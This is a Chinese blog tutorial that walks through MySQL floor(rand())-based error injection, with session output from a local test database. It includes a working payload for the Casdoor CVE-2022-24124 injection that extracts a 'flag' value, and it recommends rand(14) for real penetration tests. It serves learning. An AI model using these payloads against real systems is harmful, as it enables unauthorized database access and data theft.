sql注入-floor报错注入原理学习

缘起

源自 casdoor-CVE-2022-24124 注入漏洞 payload 复现的疑惑

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/api/get-organizations? p=1&pageSize=10&value=e99nb&sortField=&sortOrder=&field=(select 123 from (select count (*), concat ((select (value) from flag limit 1),'~', floor (rand (14)*2)) x from (select 1 union all select 2) as t group by x) x)

Q：为什么这里一定要用 floor (rand (14)*2))，rand 的参数换一个数字都不行？
A：文末会总结

Payload 一般长这样

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select count(*) from users group by concat(database(),floor(rand(0)*2));
select count(*),concat(database(),floor(rand(0)*2)) as x from users group by x;

结果一般长这样

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ERROR 1062 (23000): Duplicate entry 'sqli1' for key 'group_key'

前置

创建一个表 那就叫 users 吧

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mysql> create database sqli;
Query OK, 1 row affected (0.02 sec)

mysql> use sqli;
Database changed

mysql> create table users (id int(3),username varchar(100),password varchar(100));
Query OK, 0 rows affected (0.06 sec)

mysql> desc users;
+----------+--------------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+----------+--------------+------+-----+---------+-------+
| id | int(3) | YES | | NULL | |
| username | varchar(100) | YES | | NULL | |
| password | varchar(100) | YES | | NULL | |
+----------+--------------+------+-----+---------+-------+
3 rows in set (0.03 sec)

放几条数据进去

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mysql> insert into users values(1,'admin',md5('123456'));
Query OK, 1 row affected (0.03 sec)

mysql> insert into users values(1,'laolao',md5('12345'));
Query OK, 1 row affected (0.01 sec)

mysql> insert into users values(1,'guairui',md5('12345'));
Query OK, 1 row affected (0.01 sec)

mysql> insert into users values(1,'jiangjiang',md5('12345'));
Query OK, 1 row affected (0.01 sec)

mysql> insert into users values(1,'moss',md5('12345'));
Query OK, 1 row affected (0.01 sec)

mysql> insert into users values(1,'ltpp',md5('12345'));
Query OK, 1 row affected (0.01 sec)

学学其中的函数

As

1. 列的别名

这里用as关键字为id、username和password列分别指定了别名用户ID、用户名、密码

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mysql> select id as '用户ID',username as '用户名',password as '密码' from users;
+----------+------------+----------------------------------+
| 用户ID | 用户名 | 密码 |
+----------+------------+----------------------------------+
| 1 | admin | e10adc3949ba59abbe56e057f20f883e |
| 2 | laolao | 827ccb0eea8a706c4c34a16891f84e7b |
| 3 | guairui | 827ccb0eea8a706c4c34a16891f84e7b |
| 4 | jiangjiang | 827ccb0eea8a706c4c34a16891f84e7b |
| 5 | moss | 827ccb0eea8a706c4c34a16891f84e7b |
| 6 | ltpp | 827ccb0eea8a706c4c34a16891f84e7b |
| 7 | year | e358efa489f58062f10dd7316b65649e |
+----------+------------+----------------------------------+
7 rows in set (0.00 sec)

2. 表的别名

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mysql> desc employees;
+----------+-------------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+----------+-------------+------+-----+---------+-------+
| emp_id | int(11) | NO | PRI | NULL | |
| emp_name | varchar(50) | YES | | NULL | |
| dept_id | int(11) | YES | MUL | NULL | |
+----------+-------------+------+-----+---------+-------+
3 rows in set (0.01 sec)

mysql> desc departments;
+-----------+-------------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+-----------+-------------+------+-----+---------+-------+
| dept_id | int(11) | NO | PRI | NULL | |
| dept_name | varchar(50) | YES | | NULL | |
+-----------+-------------+------+-----+---------+-------+
2 rows in set (0.01 sec)

此处给dept_name建立别名department，给employees、departments表分别建立e、d别名。

内连接 -- INNER JOIN

ON是用于指定连接两个表的条件的 SQL 关键字，通常与JOIN一起使用。

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mysql> SELECT e.emp_name, d.dept_name AS department
-> FROM employees AS e
-> INNER JOIN departments AS d
-> ON e.dept_id = d.dept_id;
+-------------+-------------+
| emp_name | department |
+-------------+-------------+
| John Smith | Engineering |
| Lisa Jones | Marketing |
| Peter Lee | Engineering |
| Karen Kim | Sales |
| Mike Chen | Engineering |
| Amy Johnson | Finance |
+-------------+-------------+

where 可以实现内连接和 on 限定条件同样的效果，但并不推荐，因为它可能会形成笛卡尔积以及造成一些不可预测的问题

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mysql> SELECT e.emp_name, d.dept_name
-> FROM employees AS e, departments AS d
-> WHERE e.dept_id = d.dept_id;
+-------------+-------------+
| emp_name | dept_name |
+-------------+-------------+
| John Smith | Engineering |
| Lisa Jones | Marketing |
| Peter Lee | Engineering |
| Karen Kim | Sales |
| Mike Chen | Engineering |
| Amy Johnson | Finance |
+-------------+-------------+
6 rows in set (0.01 sec)

自然连接 -- NATURAL JOIN

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mysql> select e.emp_name,d.dept_name FROM employees as e NATURAL JOIN departments as d;
+-------------+-------------+
| emp_name | dept_name |
+-------------+-------------+
| John Smith | Engineering |
| Lisa Jones | Marketing |
| Peter Lee | Engineering |
| Karen Kim | Sales |
| Mike Chen | Engineering |
| Amy Johnson | Finance |
+-------------+-------------+
6 rows in set (0.00 sec)

自然连接与内连接的区别主要在条件的指定上，自然连接不需要指定条件，而内连接需要用 ON 或 USING 关键字限定条件。

自然连接会根据两个表中的相通的列进行连接，它的缺点是可能会出现意料之外的结果。

USING 连接的优点是可以让连接条件更加简洁明了，但是由于连接条件必须是两个表中的同名列，因此使用 USING 连接时可能会存在命名冲突的问题。因此，一般情况下建议使用 ON 连接来指定连接条件。

floor(rand(0)*2)

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mysql> select count(*) from users group by concat(database(),floor(rand(0)*2));
ERROR 1062 (23000): Duplicate entry 'sqli1' for key 'group_key'

sqli1中的 1 便是来自于 floor (rand (0)*2)，它说sqli1重复，那说明之前的表中已经有这个主键了。因为 database () 固定，我们继续来看下产生 '1' 的这个 floor (rand (0)*2)

rand () 是一个数学函数，它返回一个随机浮点值

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mysql> select rand();
+---------------------+
| rand() |
+---------------------+
| 0.31095878529451676 |
+---------------------+
1 row in set (0.01 sec)

mysql> select rand();
+--------------------+
| rand() |
+--------------------+
| 0.8337753562571252 |
+--------------------+
1 row in set (0.01 sec)

若指定一个整数参数 N，这个 N 称作种子数（也被叫做随机因子）。rand () 会根据这个种子数随机生成来产生重复序列，也就是说在种子数相同时，rand (N) 重复计算的值是相同的。

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mysql> select rand(0) from users limit 0,2;
+---------------------+
| rand(0) |
+---------------------+
| 0.15522042769493574 |
| 0.620881741513388 |
+---------------------+
2 rows in set (0.01 sec)

mysql> select rand(0) from users limit 0,2;
+---------------------+
| rand(0) |
+---------------------+
| 0.15522042769493574 |
| 0.620881741513388 |
+---------------------+
2 rows in set (0.01 sec)

而它后面的 * 2，则是选定获取数据的范围 [0,2]，其实就是乘以 2

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mysql> select rand(0)*2 from users limit 0,2;
+--------------------+
| rand(0)*2 |
+--------------------+
| 0.3104408553898715 |
| 1.241763483026776 |
+--------------------+
2 rows in set (0.01 sec)

mysql> select rand(0)*2 from users limit 0,2;
+--------------------+
| rand(0)*2 |
+--------------------+
| 0.3104408553898715 |
| 1.241763483026776 |
+--------------------+
2 rows in set (0.00 sec)

floor () 同样是一个数学函数，用作向下取整，返回不大于 x 的最大整数值，比如 floor (3.3) 返回 3，floor (-3.3) 返回 - 4

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mysql> select floor(3.3),floor(-3.3);
+------------+-------------+
| floor(3.3) | floor(-3.3) |
+------------+-------------+
| 3 | -4 |
+------------+-------------+
1 row in set (0.00 sec)

计算 users 表数据条数的次数，看看 floor (rand (0)*2) 的值

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mysql> select floor(rand(0)*2) from users;;
+------------------+
| floor(rand(0)*2) |
+------------------+
| 0 |
| 1 |
| 1 |
| 0 |
| 1 |
| 1 |
| 0 |
+------------------+
7 rows in set (0.01 sec)

mysql> select floor(rand(0)*2) from users;;
+------------------+
| floor(rand(0)*2) |
+------------------+
| 0 |
| 1 |
| 1 |
| 0 |
| 1 |
| 1 |
| 0 |
+------------------+
7 rows in set (0.01 sec)

可以看到 rand (0) 的值确实是固定的。

concat()

concat 是字符串拼接函数，拼接多个字符串，如果字符串中含有 NULL 则返回 NULL

这样来看，concat 后的结果应为 sqli0 或 sqli1。

group by 与 count (*)

count (*) 是一个聚合函数，返回值的数目。*通配符表示所有字段。

select count (*) from users 与 select count (column_name) from users 的区别是 count (*）不排除 NULL，而 count (column_name) 将会排除 NULL。

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mysql> insert into users values(8,NULL,NULL);
Query OK, 1 row affected (0.02 sec)

mysql> select * from users;
+----+------------+----------------------------------+
| id | username | password |
+----+------------+----------------------------------+
| 1 | admin | e10adc3949ba59abbe56e057f20f883e |
| 2 | laolao | 827ccb0eea8a706c4c34a16891f84e7b |
| 3 | guairui | 827ccb0eea8a706c4c34a16891f84e7b |
| 4 | jiangjiang | 827ccb0eea8a706c4c34a16891f84e7b |
| 5 | moss | 827ccb0eea8a706c4c34a16891f84e7b |
| 6 | ltpp | 827ccb0eea8a706c4c34a16891f84e7b |
| 7 | year | e358efa489f58062f10dd7316b65649e |
| 8 | NULL | NULL |
+----+------------+----------------------------------+
8 rows in set (0.00 sec)

mysql> select count(*) from users;
+----------+
| count(*) |
+----------+
| 8 |
+----------+
1 row in set (0.00 sec)

mysql> select count(username) from users;
+-----------------+
| count(username) |
+-----------------+
| 7 |
+-----------------+
1 row in set (0.01 sec)

先看看现在 users 表的数据

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mysql> select * from users;
+----+------------+----------------------------------+
| id | username | password |
+----+------------+----------------------------------+
| 1 | admin | e10adc3949ba59abbe56e057f20f883e |
| 2 | laolao | 827ccb0eea8a706c4c34a16891f84e7b |
| 3 | guairui | 827ccb0eea8a706c4c34a16891f84e7b |
| 4 | jiangjiang | 827ccb0eea8a706c4c34a16891f84e7b |
| 5 | moss | 827ccb0eea8a706c4c34a16891f84e7b |
| 6 | ltpp | 827ccb0eea8a706c4c34a16891f84e7b |
| 7 | year | e358efa489f58062f10dd7316b65649e |
| 8 | admin | c4ca4238a0b923820dcc509a6f75849b |
| 9 | bing | c81e728d9d4c2f636f067f89cc14862c |
| 10 | admin | d3d9446802a44259755d38e6d163e820 |
+----+------------+----------------------------------+
10 rows in set (0.01 sec)

通过 select count (*) from users group by username; 这条语句来了解 group by 的工作过程。

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mysql> select count(*) from users group by username;
+----------+
| count(*) |
+----------+
| 3 |
| 1 |
| 1 |
| 1 |
| 1 |
| 1 |
| 1 |
| 1 |
+----------+
8 rows in set (0.01 sec)

group by 在执行时，会依次取出查询表中的记录并创建一个临时表，group by 的参数便是该临时表的主键。

如果临时表中已经存在该主键，则将值 + 1，如果不存在，则将该主键插入到临时表中，注意是插入！

第一次取到 username->admin，表中没有该主键，则将 admin 插入到主键，count (*) 值计 1

第二次取到 username->laolao, 表中没有该主键，则将 admin 插入到主键，count (*) 值计 1

...

当取到原表中第八条 admin 时，同样将 admin 作为主键插入到临时表中，并将 count (*) 计 1

当取到第十条 admin 时，发现临时表中已经有 admin 作为主键了，则直接 count (*) 加 1

可视化如下

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mysql> CREATE TABLE temp_table
-> SELECT username as 'key',count(*) from users group by username;
Query OK, 8 rows affected (0.05 sec)
Records: 8 Duplicates: 0 Warnings: 0

mysql> select * from temp_table;
+------------+----------+
| key | count(*) |
+------------+----------+
| admin | 3 |
| bing | 1 |
| guairui | 1 |
| jiangjiang | 1 |
| laolao | 1 |
| ltpp | 1 |
| moss | 1 |
| year | 1 |
+------------+----------+
8 rows in set (0.01 sec)

A：那为什么不是这个结果，反而报了主键重复的错误呢？

Q：因为还有一个最重要的特性，就是 group by 和 rand () 使用时，如果临时表中没有改主键，则在插入前 rand () 会再计算一次（也就是两次，也有说多次的）。就是这个特性导致了主键重复并报错。

Payload 的执行流

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mysql> SELECT count(*)
-> from users
-> GROUP BY
-> concat(database(),floor(rand(0)*2));
ERROR 1062 (23000): Duplicate entry 'sqli1' for key 'group_key'

在 payload 的执行中，当group by取第一条from表记录时，此时group by的是sqli0，发现临时表中并没有sqli0的主键，注意这个时候，rand(0)*2会再计算一次，经floor()后，率先插入临时表的主键不是sqli0，而是sqli1，并计数1

记录 | Key | Count(*) | floor(rand(0)*2)
| Sqli0 | 0 | 0
1 | Sqli1 | 0 | 1
| Sqli1 | 1 | 1
2 | Sqli0 | 1 | 0
| Sqli1 | 2 | 1
3 | sqli1 | 3 | 1
| sqli0 | 2 | 0
4 | sqli0 | 3 | 0
| sqli1 | 4 | 1
5 | sqli1 | 5 | 1

继续从 from 的表中取第三条记录，再次计算 floor (rand (0)*2)，结果为 0，与 database () 拼接为 sqli0，临时表的主键中并不存在，在插入前，floor (rand (0)*2) 又计算一次，拼接后与 sqli1，但是是直接插入，即使临时表中已经有了主键 sqli1 也硬要插入，从而导致主键重复报错，也就是：ERROR 1062 (23000): Duplicate entry (条目) 'sqli1' for key 'group_key'。

优化

Floor (rand (0)*2) 的值为 011011... 但其实第三次计算的结果我们已经不需要了，如果没有 floor (rand (x)*2) 满足 0101 或 1010，那么 from 的表中有两条数据就是可以报错的。

经过多次实验，发现 floor (rand (14)*2) 的值为 1010000..., 那么我们创建一个只有两条数据的表试一下看看

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mysql> select * from test;
+------+-------+------------+
| id | name | tel |
+------+-------+------------+
| 1 | test | 1111111111 |
| 2 | test2 | 222222222 |
+------+-------+------------+
2 rows in set (0.01 sec)

mysql> select count(*) from test group by concat(database(),floor(rand(0)*2));
+----------+
| count(*) |
+----------+
| 2 |
+----------+
1 row in set (0.01 sec)

mysql> select count(*) from test group by concat(database(),floor(rand(14)*2));
ERROR 1062 (23000): Duplicate entry 'sqli0' for key 'group_key'

也就是说在实际渗透中，报错注入使用 floor (rand (14)*2) 会比 rand (0) 效果要好。

而且如果说表中只存在一条数据，那这个时候报错注入就没法使用了，毕竟只有一条数据也不可能发生主键重复报错。